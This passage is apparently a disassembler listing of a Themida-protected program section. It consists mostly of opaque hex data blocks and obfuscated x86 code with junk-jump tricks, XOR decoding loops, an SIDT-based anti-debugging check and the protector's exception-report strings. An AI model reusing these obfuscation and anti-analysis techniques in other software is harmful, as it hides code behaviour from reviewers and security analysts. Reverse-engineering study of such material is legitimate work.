3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 3D86C356h, 7EBA2C6Fh, 14E5B529h, 95FF07FAh, 7FA0EBDh dd 253D8589h, 0F38B07FAh, 56DD21BFh, 0B18D296Ah, 8D07FA21h dd 0FCD38A85h, 89D0FF07h, 0FA158D95h, 81006A07h, 4F54FFE1h dd 0BD95FF52h, 6A07FA0Eh, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 18042444h, 43000000h, 69C3C353h, 8B062203h dd 2DB589C0h, 8307FA2Fh, 0FA2ACDBDh, 9750007h, 1899BD83h dd 740007FAh, 8B535019h, 7D9B8C0h, 85890000h, 7FA20C9h dd 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh, 7FA1899h, 50177400h dd 7D9B853h, 85890000h, 7FA20C9h, 0DF139D8Dh, 0D3FF07FCh dd 0E680585Bh, 5E97Ch, 9F370000h, 8B7FFB54h, 59958BC0h dd 5007FA0Bh, 0DF1BD33h, 0D88B07FAh, 89D98A60h, 0FA1F9585h dd 8D536107h, 0FA28899Dh, 89038B07h, 50438B03h, 8D504389h dd 0FD2F0D9Dh, 89038B07h, 0C7815B03h, 28655333h, 1701B501h dd 950107FAh, 7FA2145h, 6A006Ah, 3E850h, 58200000h, 448958C3h dd 44810424h, 1C0424h, 50400000h, 6B5D8FC3h, 0F210FABEh dd 0EE85AF5h, 87000000h, 59310C61h, 0D0B4410Bh, 0F2E1D366h dd 0B18D893Ch, 5A07FA0Fh, 6850Fh, 8D8B0000h, 7FA0CF9h dd 2F0D858Dh, 6A07FDh, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 8F561EC3h, 0EF0D78D3h, 43B966ADh dd 81665078h, 6A5617C9h, 52006A60h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1504h, 0C3524200h, 858D2E17h, 7FA2889h, 665150F9h dd 7935EF81h, 53006A59h, 14E857h, 6B2B0000h, 9F4766FCh dd 759DE164h, 0B05410Ah, 0C885156Dh, 5F5A471Ch, 6AF18A5Ah dd 998D0100h, 6807FA10h, 1800h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 70C35646h, 53EC24D4h, 0B2207E36h dd 0FA8B5357h, 2E6195FFh, 858907FAh, 7FA1105h, 15DD8D01h dd 95FF07FAh, 7FA21ADh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 16h, 0CAC35545h, 0F6020B0h, 580h, 0DE816600h dd 9E8BC12h, 0E9000000h, 0E156C18h, 4E315B18h, 58CA8B66h dd 12E861h, 0BA9F0000h, 1110EFh, 3EA8132Dh, 0BC5402CAh dd 0FB707CD6h, 5AC88B66h, 2F74B5FFh, 0FB8B07FDh, 179995FFh dd 9D8907FAh, 7FA0B15h, 0EE816660h, 8D61FFB6h, 0FA288985h dd 25BD8B07h, 8B07FA01h, 6A1840h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1A0424h, 51410000h, 0ABE3F7C3h, 6A9D34BDh dd 250D85C7h, 7FAh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0E8A716C3h, 0EA81661Ah dd 10E95482h, 3000000h, 0ED0A49D4h, 4CDE608Fh, 2809FDAFh dd 83C5CE72h, 0FA1CC5BDh, 840F0007h, 4Fh, 6840Fh, 958B0000h dd 7FA2C25h, 8C3Dh, 3A830F00h, 6A000002h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 0DD2CC355h dd 64E753CBh, 69958BA9h, 6607FA21h, 0BD29F88Bh, 7FA1015h dd 13E9h, 3D38B500h, 98h, 1F7830Fh, 85890000h, 7FA0AE5h dd 243B858Dh, 958B005Bh, 7FA07B5h, 6AD0FFh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 0A87431C3h dd 0F5958B89h, 8D07FA02h, 5B1E8E85h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1404h, 0C3564600h, 14E94Fh, 0B3670000h dd 0A4B4B564h, 2375ACBFh, 5E42BFDAh, 0EFC26868h, 6660C368h dd 662CD5B9h, 61E5E3BFh, 8B0FD0FFh, 9, 3850Fh, 0B70F0000h dd 6AC08BCBh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1D042444h, 46000000h, 0CB44C356h, 0C21B7A38h, 309FB3F0h dd 1FFB70Fh, 0FA291195h, 0CDBD8307h, 7FA2Ah, 0BD830975h dd 7FA1899h, 50197400h, 0B8C08B53h, 0BC6h, 20C98589h, 9D8D07FAh dd 7FCE224h, 585BD3FFh, 1899BD83h, 740007FAh, 0B8535017h dd 0BC6h, 20C98589h, 9D8D07FAh, 7FCDF13h, 585BD3FFh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 40C35646h, 353EED13h dd 0BF4BD804h, 4880F0Dh, 66000000h, 8980D0BFh, 0FA1509BDh dd 9E907h, 3BC90000h, 0BD67A944h, 8B90E018h, 0CF8B66C0h dd 0FFFF883h, 5785h, 50006A00h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0FAA03ACCh, 7313BE62h dd 1E4D85C7h, 7FAh, 85890000h, 7FA1D3Dh, 11AE9h, 5E900h dd 0F02F0000h, 60E4DAA6h, 0E961D98Bh, 46h, 2D69958Bh, 8D3307FAh dd 7FA0885h, 0F01F883h, 3185h, 4BF1BF00h, 1FE93F28h, 6A000001h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 17042444h dd 42000000h, 0CA38C352h, 0B2B6D7FCh, 25B5BD8Bh, 35E907FAh dd 0B9FFFFF0h, 7F58DE41h, 56C08BF8h, 8359CE8Bh, 0FA2ACDBDh dd 9750007h, 1899BD83h, 740007FAh, 8B535019h, 7DDB8C0h dd 85890000h, 7FA20C9h, 0E2249D8Dh, 0D3FF07FCh, 0BD83585Bh dd 7FA1899h, 50177400h, 7DDB853h, 85890000h, 7FA20C9h dd 0DF139D8Dh, 0D3FF07FCh, 6A585Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 6DA10FC3h dd 0A7731F43h, 663349BFh, 0D20CEF81h, 7098D23h, 958907FAh dd 7FA10B1h, 6AC08Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 2A7F61C3h, 13229E77h, 0F3E991B5h dd 66000001h, 8DA24CBFh, 0FD2D1185h, 0FE8B6607h, 2F098589h dd 3FE907FDh, 0E8000000h, 14h, 2595528Ah, 7B92ED3h, 3E27E353h dd 0F4CF924Fh, 982A6629h, 71D2DA81h, 665A3F05h, 858DCA8Bh dd 7FD2B19h, 29EA23B9h, 14B54037h, 2F098589h, 8B5307FDh dd 0FA31A595h, 346A5907h, 1FA1858Dh, 0FF5007FAh, 0FD2F09B5h dd 0FF006A07h, 0FA2AE595h, 7F88307h, 168840Fh, 8C660000h dd 4C3F6DBh, 102850Fh, 85C60000h, 7FA0665h, 0B8526856h dd 0B5FF9CA8h, 7FA08A5h, 3AE2858Dh, 0D0FF07FAh, 68046Ah dd 6A000010h, 0FF006A64h, 7C8589D0h, 0C607FD2Fh, 0FA066585h dd 9B684707h, 0FFEC18ACh, 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah dd 8BD0FFD0h, 6585C6F0h, 4F07FA06h, 2F266168h, 0F5B5FFC6h dd 8D07FA0Ah, 0FA3AE285h, 8DD0FF07h, 0FD2F789Dh, 286A5307h dd 85D0FF56h, 0C60075C0h, 0FA066585h, 98684107h, 0FFDB8764h dd 0FA0AF5B5h, 0E2858D07h, 0FF07FA3Ah, 958589D0h, 0C607FD2Fh dd 0FA066585h, 0A4684C07h, 0FF80A4E7h, 0FA0AF5B5h, 0E2858D07h dd 0FF07FA3Ah, 7C9D8BD0h, 8D07FD2Fh, 8D53045Bh, 0FD2F819Dh dd 6A5307h, 9D8BD0FFh, 7FD2F7Ch, 103C7h, 43C70000h, 20Ch dd 0A99D8B00h, 0C707FA1Ch, 0FA23A185h, 7, 6A006A00h, 8B006A00h dd 0FD2F7C9Dh, 6A5307h, 2F78B5FFh, 95FF07FDh, 7FD2F95h dd 66585C6h, 684507FAh, 92A5F797h, 515B5FFh, 858D07FAh dd 7FA3AE2h, 6AD0FFh, 0D0FF026Ah, 0F6DB8C66h, 327504C3h dd 2F7C9D8Bh, 43C707FDh, 0Ch, 6A006A00h, 7C9D8B00h, 5307FD2Fh dd 0B5FF006Ah, 7FD2F78h, 2F9595FFh, 0B5FF07FDh, 7FD2F78h dd 21AD95FFh, 6A07FAh, 0EBD95FFh, 958B07FAh, 7FA0AB9h dd 2D65BD8Bh ; --------------------------------------------------------------------------- cli pop es loc_5B97FE: ; CODE XREF: Themida_:005B81B9j ; Themida_:005B81F6j lea eax, [ebp+7FD64CBh] push eax mov edx, [ebp+7FA1131h] push large dword ptr fs:0 jg loc_5B981A mov cl, 49h loc_5B981A: ; CODE XREF: Themida_:005B9812j mov large fs:0, esp push 0 push ebx call sub_5B982C and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B982C proc near ; CODE XREF: Themida_:005B9824p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Ch inc ebx push ebx retn sub_5B982C endp ; --------------------------------------------------------------------------- dd 0EFAAAE25h, 66995B00h, 0D08B669Ah, 0CE9h, 2D89B600h dd 0C8B28D02h, 0D1B24CF3h, 35BD8305h, 7FA31h, 5D840Fh dd 0F5800000h, 0EDBD8366h, 107FA33h, 4D850Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h dd 0BD80E7C3h, 7FD3395h, 24850F00h, 89000000h, 0FA2C219Dh dd 163E907h, 9E80000h, 55000000h, 0A7ACF1CFh, 0EF4114AEh dd 0F616060h, 82h, 335A6100h, 0CA8166DBh, 0C0330921h, 21C19D89h dd 0F4007FAh, 640B073Fh, 58Fh, 0C4830000h, 66F98B04h, 808E25B9h dd 0FB83C6C5h, 0E840FFFh, 52000000h, 5FD1BF0Fh, 106E9h dd 81BA6600h, 87E94Dh, 85290000h, 7FA1745h, 0C244C8Bh dd 0A481C7h, 0FFFF0000h, 8183FFFFh, 0B8h, 0C3C03304h, 0C245C8Bh dd 0E855h, 815D0000h, 0FD64EDEDh, 0B8838B07h, 8D000000h dd 0FD65CC85h, 0B8838907h, 5D000000h, 66C3C033h, 1DEDF781h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 19C35141h dd 897D8BDEh, 0FA2A699Dh, 13E907h, 9BB20000h, 0D4142C8h dd 5AC2D53Eh, 3E991C9h, 2FDED5A2h, 0E3858DAEh, 6007FD64h dd 8CDA8166h, 5061F543h, 829EEF81h, 0FF6400F4h, 35h, 458D8900h dd 6407FA2Ch, 2589h, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1A0424h, 50400000h, 5526E3C3h, 9532F6A9h dd 0B9D7B70Fh, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h dd 0FA18F985h, 107h, 58F6400h, 0 ; --------------------------------------------------------------------------- add esp, 4 push 0 push edi call sub_5B9A22 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5B9A22 proc near ; CODE XREF: Themida_:005B9A1Ap arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5B9A22 endp ; --------------------------------------------------------------------------- mov ds:0E3D958Bh, al cli pop es xor [ebp+7FA0BD5h], edi mov eax, eax pusha or dl, 91h jns loc_5B9A51 mov edx, [ebp+7FA34A5h] loc_5B9A51: ; CODE XREF: Themida_:005B9A45j popa cmp dword ptr [ebp+7FA2ACDh], 0 jnz short loc_5B9A64 cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B9A7D loc_5B9A64: ; CODE XREF: Themida_:005B9A59j push eax push ebx mov eax, eax mov eax, 43Dh mov [ebp+7FA1581h], eax lea ebx, [ebp+7FCE28Bh] call ebx ; _iob pop ebx pop eax loc_5B9A7D: ; CODE XREF: Themida_:005B9A62j cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5B9A9D push eax push ebx mov eax, 43Dh mov [ebp+7FA1581h], eax lea ebx, [ebp+7FCDF2Ch] call ebx ; _iob pop ebx pop eax loc_5B9A9D: ; CODE XREF: Themida_:005B9A84j jmp loc_5B9AB4 ; --------------------------------------------------------------------------- dw 0FB96h dd 82CDE301h, 0F692B4BBh, 59909EB5h, 4B879324h ; --------------------------------------------------------------------------- loc_5B9AB4: ; CODE XREF: Themida_:loc_5B9A9Dj mov cx, 74ABh sub edx, 4D0784A1h mov eax, eax jmp loc_5B9C0C ; --------------------------------------------------------------------------- db 4, 2 dup(0) dd 392E3100h, 3031h, 6 dup(0) db 0 db 2 dup(0), 45h aXceptionInform db 'xception Information',0 aPleaseContactT db 'Please, contact the software developers with the following codes.' db ' Thank you.',0Ah db 0Dh,0Ah db 0Dh,' (press CTRL+C on this window to copy to clipboard) ',0Ah db 0Dh,0Ah db 0Dh,'Version = %s',0Ah db 0Dh,'CheckIN = %d',0Ah db 0Dh,'CheckOUT = %d',0Ah db 0Dh,'ProcIN = %d',0Ah db 0Dh,'ProcOUT = %d',0Ah db 0Dh,'ExitIN = %d',0Ah db 0Dh,'ExitOUT = %d',0Ah db 0Dh,'TPin = %d',0Ah db 0Dh,0 ; --------------------------------------------------------------------------- loc_5B9C0C: ; CODE XREF: Themida_:005B9AC0j cmp dword ptr [ebp+7FA1139h], 0 jz loc_5B9D46 lea eax, [ebp+7FCDD43h] push eax lea eax, [ebp+7FCDCADh] push eax push 80000001h call dword ptr [ebp+7FCDD53h] lea eax, [ebp+7FD6684h] push eax lea eax, [ebp+7FD668Eh] push eax push 0 push 0 lea eax, [ebp+7FCDCC1h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA1F0Dh] lea eax, [ebp+7FD6684h] push eax lea eax, [ebp+7FD6692h] push eax push 0 push 0 lea eax, [ebp+7FCDCD3h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA1F0Dh] lea eax, [ebp+7FD6684h] push eax lea eax, [ebp+7FD669Eh] push eax push 0 push 0 lea eax, [ebp+7FCDD20h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA1F0Dh] lea eax, [ebp+7FD6684h] push eax lea eax, [ebp+7FD66A6h] push eax push 0 push 0 lea eax, [ebp+7FCDD3Eh] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA1F0Dh] lea eax, [ebp+7FD6684h] push eax lea eax, [ebp+7FD66A2h] push eax push 0 push 0 lea eax, [ebp+7FCDD27h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA1F0Dh] lea eax, [ebp+7FD6684h] push eax lea eax, [ebp+7FD6696h] push eax push 0 push 0 lea eax, [ebp+7FCDD2Fh] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA1F0Dh] lea eax, [ebp+7FD6684h] push eax lea eax, [ebp+7FD669Ah] push eax push 0 push 0 lea eax, [ebp+7FCDD36h] push eax push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA1F0Dh] push dword ptr [ebp+7FCDD43h] call dword ptr [ebp+7FA2341h] jmp loc_5B9DE8 ; --------------------------------------------------------------------------- loc_5B9D46: ; CODE XREF: Themida_:005B9C13j cmp dword ptr [ebp+7FA2E1Dh], 0 jz loc_5B9DE8 cmp dword ptr [ebp+7FA33EDh], 0 jnz loc_5B9D71 mov edx, [ebp+7FA1505h] add edx, 1CF8h jmp loc_5B9D80 ; --------------------------------------------------------------------------- loc_5B9D71: ; CODE XREF: Themida_:005B9D5Aj lea edx, [ebp+7FA2889h] mov edx, [edx+34h] add edx, 3BD4C340h loc_5B9D80: ; CODE XREF: Themida_:005B9D6Cj mov [ebp+7FA17D1h], edx cmp dword ptr [ebp+7FA17D1h], 0 jz loc_5B9DE8 mov ebx, [ebp+7FA17D1h] add ebx, 4Ch mov eax, [ebx] mov [ebp+7FD668Eh], eax mov ebx, [ebp+7FA17D1h] add ebx, 50h mov eax, [ebx] mov [ebp+7FD6692h], eax mov ebx, [ebp+7FA17D1h] add ebx, 54h mov eax, [ebx] mov [ebp+7FD669Eh], eax mov ebx, [ebp+7FA17D1h] add ebx, 58h mov eax, [ebx] mov [ebp+7FD66A2h], eax mov ebx, [ebp+7FA17D1h] add ebx, 5Ch mov eax, [ebx] mov [ebp+7FD6696h], eax loc_5B9DE8: ; CODE XREF: Themida_:005B9D41j ; Themida_:005B9D4Dj ... cmp dword ptr [ebp+7FA1139h], 0 jnz loc_5B9E02 cmp dword ptr [ebp+7FA2E1Dh], 0 jz loc_5B9E6A loc_5B9E02: ; CODE XREF: Themida_:005B9DEFj push dword ptr [ebp+7FD66A6h] push dword ptr [ebp+7FD669Ah] push dword ptr [ebp+7FD6696h] push dword ptr [ebp+7FD66A2h] push dword ptr [ebp+7FD669Eh] push dword ptr [ebp+7FD6692h] push dword ptr [ebp+7FD668Eh] lea eax, [ebp+7FD6688h] push eax lea eax, [ebp+7FD66C0h] push eax lea eax, [ebp+7FA0311h] push eax call dword ptr [ebp+7FA0DC5h] add esp, 24h push 40h lea eax, [ebp+7FD66AAh] push eax lea eax, [ebp+7FA0311h] push eax push 0 call dword ptr [ebp+7FA2AE5h] push 1 call dword ptr [ebp+7FA0EBDh] loc_5B9E6A: ; CODE XREF: Themida_:005B9DFCj mov eax, ecx jmp short loc_5B9E86 ; --------------------------------------------------------------------------- dw 0F317h dd 9B46h, 4 dup(0) db 2 dup(0) ; --------------------------------------------------------------------------- loc_5B9E86: ; CODE XREF: Themida_:005B9E6Cj jmp loc_5BA096 ; --------------------------------------------------------------------------- loc_5B9E8B: ; CODE XREF: Themida_:005B9EA0j pusha mov ebx, [esp+24h] call $+5 pop ebp sub ebp, 7FD6A54h popa retn 4 ; --------------------------------------------------------------------------- jmp loc_5B9E8B ; --------------------------------------------------------------------------- loc_5B9EA5: ; CODE XREF: Themida_:005B9EAAj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B9EA5 ; --------------------------------------------------------------------------- loc_5B9EAF: ; CODE XREF: Themida_:005B9EB4j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B9EAF ; --------------------------------------------------------------------------- loc_5B9EB9: ; CODE XREF: Themida_:005B9EBEj pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B9EB9 ; --------------------------------------------------------------------------- loc_5B9EC3: ; CODE XREF: Themida_:005B9EC8j pusha popa retn 8 ; --------------------------------------------------------------------------- jmp loc_5B9EC3 ; --------------------------------------------------------------------------- align 10h dd 0 dd 0C3616000h, 0FFFFF8E9h, 8CB58BFFh, 8107FD6Ah, 0FFF000E6h dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 90B53B00h, 0F07FD6Ah dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h dd 0FC00A03h, 1984h, 0BB535000h, 2, 17D1858Bh, 188607FAh dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh dd 2474FF50h, 0BD95FF08h, 5007FA33h, 244C010Fh, 0C08358FEh dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch dd 840FC00Ah, 9, 17D1858Bh, 0C607FAh, 4FF5800h, 4C224h dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h dd 2BB00h, 858B0000h, 7FA17D1h, 0DB0A1886h, 0FFF6850Fh dd 85C7FFFFh, 7FA1459h, 0 ; --------------------------------------------------------------------------- mov eax, [esp+8] mov ebx, [eax+1000h] mov [eax+1000h], ebx mov ebx, [eax] mov [eax], ebx jmp loc_5B9FD7 ; --------------------------------------------------------------------------- mov dword ptr [ebp+7FA1459h], 100h loc_5B9FD7: ; CODE XREF: Themida_:005B9FC8j pop eax pop ebx inc dword ptr [esp] retn ; --------------------------------------------------------------------------- db 0E9h, 0A3h, 0FFh dd 8060FFFFh, 840F003Eh, 31h, 3AB7A1BBh, 0B101B076h, 13E901h dd 8AAC0000h, 32C302C8h, 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah dd 0FFFFE585h, 0FD20BFFh, 0FFFFDD85h, 52C361FFh, 8B57D48Bh dd 0C033087Ah, 1E9h, 3F80AA00h, 0F6850F00h, 5FFFFFFFh dd 4C25Ah, 33565153h, 0E9DB33C0h, 10h, 0D1D833ACh, 0BCC381D3h dd 8A37465Ah, 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh dd 0BB60C35Bh, 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h dd 0BAACBD1h, 1840FD2h, 4A000000h, 850FC00Ah, 0FFFFFFE7h dd 850FD20Bh, 0FFFFFFDFh ; --------------------------------------------------------------------------- popa retn ; --------------------------------------------------------------------------- loc_5BA096: ; CODE XREF: Themida_:loc_5B9E86j mov ax, ds test al, 4 jz loc_5BA0CA mov dword ptr [ebp+7FD6A31h], 1 push eax sidt fword ptr [esp-2] pop dword ptr [ebp+7FD6A35h] lea eax, [ebp+7FD6A2Dh] lea edi, [ebp+7FD6A35h] mov [eax], edi jmp loc_5BA0ED ; --------------------------------------------------------------------------- loc_5BA0CA: ; CODE XREF: Themida_:005BA09Bj lea eax, [ebp+7FA2889h] mov eax, [eax+38h] add eax, 9B46F317h mov [ebp+7FD6A2Dh], eax lea eax, [ebp+7FA2889h] mov eax, [eax+3Ch] mov [ebp+7FD6A31h], eax loc_5BA0ED: ; CODE XREF: Themida_:005BA0C5j lea eax, [ebp+7FD6A4Ah] mov [ebp+7FA33BDh], eax jmp loc_5BA185 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5BA119 ; --------------------------------------------------------------------------- loc_5BA112: ; CODE XREF: Themida_:005BA11Bj add [esi], al xor [esi], al ror eax, 1 inc esi loc_5BA119: ; CODE XREF: Themida_:005BA10Dj cmp esi, edi jb loc_5BA112 popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp pusha mov esi, [edx+8] mov edi, [edx+0Ch] mov eax, 0A945CAB2h jmp loc_5BA141 ; --------------------------------------------------------------------------- loc_5BA13A: ; CODE XREF: Themida_:005BA143j xor [esi], al sub [esi], al ror eax, 1 inc esi loc_5BA141: ; CODE XREF: Themida_:005BA135j cmp esi, edi jb loc_5BA13A popa pop edx retn 8 ; --------------------------------------------------------------------------- push edx mov edx, esp push esi push ecx push ebx xor ebx, ebx mov esi, [edx+8] mov ecx, [edx+0Ch] jmp loc_5BA174 ; --------------------------------------------------------------------------- loc_5BA161: ; CODE XREF: Themida_:005BA176j lodsb cmp al, 2Dh jz loc_5BA174 add al, 98h xor al, 13h xor bl, al rol ebx, 8 dec ecx loc_5BA174: ; CODE XREF: Themida_:005BA15Cj ; Themida_:005BA164j or ecx, ecx jnz loc_5BA161 mov eax, ebx pop ebx pop ecx pop esi pop edx retn 8 ; --------------------------------------------------------------------------- loc_5BA185: ; CODE XREF: Themida_:005BA0F9j lea eax, [ebp+7FD6CBDh] mov [ebp+7FA2905h], eax lea eax, [ebp+7FD6CE5h] mov [ebp+7FA0EE1h], eax lea eax, [ebp+7FD6D0Dh] mov [ebp+7FA107Dh], eax call sub_5BA1BC or [esi+1Bh], ah db 2Eh push ecx aas and eax, 0B8C33935h hlt ; --------------------------------------------------------------------------- adc ah, ch ; =============== S U B R O U T I N E ======================================= sub_5BA1BC proc near ; CODE XREF: Themida_:005BA1A9p jo loc_5BA1C5 add dl, 0B4h loc_5BA1C5: ; CODE XREF: sub_5BA1BCj pop eax mov dx, ax add eax, 7333h mov edx, eax mov ecx, 1CA3h push eax jo loc_5BA1E0 sub dh, 0F2h loc_5BA1E0: ; CODE XREF: sub_5BA1BC+1Bj pop ebx loc_5BA1E1: ; CODE XREF: Themida_:005BA245j mov esi, [eax] and edx, 3D99BE8Fh sub esi, 37B96F00h call sub_5BA1F9 adc [eax+20h], bh inc esi xchg eax, edi sub_5BA1BC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BA1F9 proc near ; CODE XREF: sub_5BA1BC+33p ; FUNCTION CHUNK AT 005BA289 SIZE 0000005F BYTES stc pop ebx sub esi, 66881D24h xor esi, 4D5C6D48h jbe near ptr loc_5BA21C+2 call near ptr loc_5BA219+1 cmpsb imul ebp, [ecx-65h], 19h jz short loc_5BA289 loc_5BA219: ; CODE XREF: sub_5BA1F9+14p add esp, [esi-75h] sub_5BA1F9 endp ; sp-analysis failed loc_5BA21C: ; CODE XREF: sub_5BA1F9+Ej rcr dword ptr [ebx-77h], cl xor al, bh sub eax, 2 dec eax dec eax mov bl, 0F1h sub ecx, 1 jnz loc_5BA241 add bh, 50h jmp loc_5BA259 ; --------------------------------------------------------------------------- dd 95EA474Bh db 2Dh ; --------------------------------------------------------------------------- loc_5BA241: ; CODE XREF: Themida_:005BA22Ej mov bx, 0D8CEh jmp loc_5BA1E1 ; --------------------------------------------------------------------------- dw 0DA6Eh dd 77B5B91Ch, 0CF13FA13h, 1265CBCFh ; --------------------------------------------------------------------------- scasb loc_5BA259: ; CODE XREF: Themida_:005BA237j pusha and cx, 2A7Dh mov eax, eax push 0 push ebp call sub_5BA26C and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA26C proc near ; CODE XREF: Themida_:005BA264p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ah inc ebp push ebp retn sub_5BA26C endp ; --------------------------------------------------------------------------- dd 11FA7933h, 0B9A47D4Ah, 4EFA4106h db 83h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5BA1F9 loc_5BA289: ; CODE XREF: sub_5BA1F9+1Ej mov ebp, 7FA2ACDh add [ebp+9], dh cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5BA2B3 push eax push ebx mov eax, eax mov eax, 40Eh mov [ebp+7FA20C9h], eax lea ebx, [ebp+7FCE224h] call ebx ; _iob pop ebx pop eax loc_5BA2B3: ; CODE XREF: sub_5BA1F9+9Fj cmp dword ptr [ebp+7FA1899h], 0 jz short loc_5BA2D3 push eax push ebx mov eax, 40Eh mov [ebp+7FA20C9h], eax lea ebx, [ebp+7FCDF13h] call ebx ; _iob pop ebx pop eax loc_5BA2D3: ; CODE XREF: sub_5BA1F9+C1j mov dx, si sub cx, 9D36h mov eax, eax push 0 push edx call sub_5BA2E8 and [edx-3Dh], bl ; END OF FUNCTION CHUNK FOR sub_5BA1F9 ; =============== S U B R O U T I N E ======================================= sub_5BA2E8 proc near ; CODE XREF: sub_5BA1F9+E7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5BA2E8 endp ; --------------------------------------------------------------------------- mov word ptr [ecx], ss add dl, 0A5h cmp dword ptr [ebp+7FA3135h], 0 jz loc_5BA350 movzx esi, dx mov si, dx jmp loc_5BA59A ; --------------------------------------------------------------------------- push 0 push ebp call sub_5BA320 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA320 proc near ; CODE XREF: Themida_:005BA318p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 1Ch inc ebp push ebp retn sub_5BA320 endp ; --------------------------------------------------------------------------- push esi inc ebp mov ds:0A5D88EB7h, al push 0FFFFFFBCh xor cx, 4DB8h jle loc_5BA350 call sub_5BA34E mov ecx, 6410DC31h ; =============== S U B R O U T I N E ======================================= sub_5BA34E proc near ; CODE XREF: Themida_:005BA344p stc pop ecx loc_5BA350: ; CODE XREF: Themida_:005BA304j ; Themida_:005BA33Ej mov edi, ds push 0 push edx call sub_5BA35D and [edx-3Dh], bl sub_5BA34E endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5BA35D proc near ; CODE XREF: sub_5BA34E+7p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5BA35D endp ; --------------------------------------------------------------------------- db 9Dh, 0Bh, 60h ; --------------------------------------------------------------------------- jmp loc_5BA381 ; --------------------------------------------------------------------------- mov dword ptr [ebp+eax*4+41h], 1353F76Eh mov dh, 4Dh xchg al, [ecx] loc_5BA381: ; CODE XREF: Themida_:005BA370j mov ax, dx popa test di, 4 jnz loc_5BA59A pusha mov bh, 0D2h jl loc_5BA39E mov esi, 1830254Eh loc_5BA39E: ; CODE XREF: Themida_:005BA393j popa cmp dword ptr [ebp+7FA1CC5h], 0 jnz loc_5BA3F9 push 0 push edx call sub_5BA3B7 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA3B7 proc near ; CODE XREF: Themida_:005BA3AFp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 17h inc edx push edx retn sub_5BA3B7 endp ; --------------------------------------------------------------------------- db 3Eh ; --------------------------------------------------------------------------- cmpsd inc eax dec ebx sub si, 99F1h jmp loc_5BA59A ; --------------------------------------------------------------------------- push 0 push ecx call sub_5BA3E0 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5BA3E0 proc near ; CODE XREF: Themida_:005BA3D8p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add 